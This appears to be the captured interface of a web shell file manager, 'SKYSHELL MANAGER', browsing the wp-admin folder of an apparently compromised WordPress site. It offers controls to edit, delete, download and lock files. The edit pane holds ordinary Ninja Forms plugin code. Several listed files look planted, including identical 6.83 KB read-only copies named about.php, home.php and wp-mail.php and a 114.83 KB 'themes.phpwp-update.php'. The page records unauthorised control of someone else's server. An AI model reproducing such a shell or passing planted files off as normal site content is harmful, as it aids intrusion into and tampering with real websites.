📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Unknown.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_Fields_Unknown */ class NF_Fields_Unknown extends NF_Fields_Hidden { protected $_name = 'unknown'; protected $_type = 'unknown'; protected $_section = ''; protected $_icon = 'question'; protected $_templates = 'null'; protected $_aliases = array(); protected $_settings_only = array( 'label', 'default' ); public function __construct() { parent::__construct(); $this->_nicename = esc_html__( 'Unknown', 'ninja-forms' ); $this->_settings[ 'message' ] = array( 'name' => 'message', 'type' => 'html', 'label' => '', 'width' => 'full', 'group' => 'primary', ); $this->_settings[ 'label' ][ 'group' ] = ''; unset( $this->_settings[ 'default' ] ); // TODO: Seeing an error when removing default form the $_settings_only property, so just unsetting it here for now. add_filter( 'nf_sub_hidden_field_types', array( $this, 'hide_field_type' ) ); } public function validate( $field, $data ) { return array(); // Return empty array with no errors. } function hide_field_type( $field_types ) { $field_types[] = $this->_name; return $field_types; } public static function create( $field ) { $unknown = Ninja_Forms()->form()->field()->get(); if( is_object( $field ) ){ $unknown->update_settings(array( 'id' => $field->get_id(), 'label' => $field->get_setting( 'label' ), 'order' => $field->get_setting( 'order' ), 'key' => $field->get_setting( 'key' ), 'type' => 'unknown', 'message' => sprintf( esc_html__( 'Field type "%s" not found.', 'ninja-forms' ), $field->get_setting( 'type' ) ) )); } elseif( isset( $field[ 'settings' ] ) ){ $unknown->update_settings(array( 'id' => $field[ 'id' ], 'label' => $field[ 'settings' ][ 'label' ], 'order' => $field[ 'settings' ][ 'order' ], 'key' => $field[ 'settings' ][ 'key' ], 'type' => 'unknown', 'message' => sprintf( esc_html__( 'Field type "%s" not found.', 'ninja-forms' ), $field[ 'settings' ][ 'type' ] ) )); } else { $unknown->update_settings(array( 'id' => $field[ 'id' ], 'label' => $field[ 'label' ], 'order' => $field[ 'order' ], 'key' => $field[ 'key' ], 'type' => 'unknown', 'message' => sprintf( esc_html__( 'Field type "%s" not found.', 'ninja-forms' ), $field[ 'type' ] ) )); } return $unknown; } }
Save